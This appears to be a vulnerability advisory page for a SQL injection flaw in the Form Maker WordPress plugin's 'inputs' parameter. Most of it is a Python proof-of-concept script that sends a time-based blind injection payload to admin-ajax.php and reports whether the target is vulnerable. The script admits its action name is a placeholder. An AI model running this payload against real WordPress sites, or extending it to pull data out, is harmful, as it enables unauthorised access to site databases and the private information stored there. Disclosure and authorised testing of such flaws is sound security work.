CVE-2026-3359

Description

The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to SQL Injection via the 'inputs' parameter in versions up to, and including, 1.15.42 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "http://example.com/wp-admin/admin-ajax.php"

# The 'inputs' parameter is vulnerable to SQL Injection
# Payload attempts a basic time-based blind injection to test vulnerability
payload = {
    "action": "form_maker_front_end",  # Placeholder for the specific action hook
    "form_id": "1",
    "inputs": "1' AND (SELECT SLEEP(5))-- -"
}

try:
    print("[*] Sending PoC payload to target...")
    response = requests.post(target_url, data=payload, timeout=10)
    
    # Check if the response time indicates successful execution (5 seconds delay)
    if response.elapsed.total_seconds() >= 5:
        print("[+] Vulnerability confirmed! The database responded with a delay.")
    else:
        print("[-] Target does not appear to be vulnerable or is patched.")
        
except requests.exceptions.RequestException as e:
    print(f"[!] Error connecting to target: {e}")
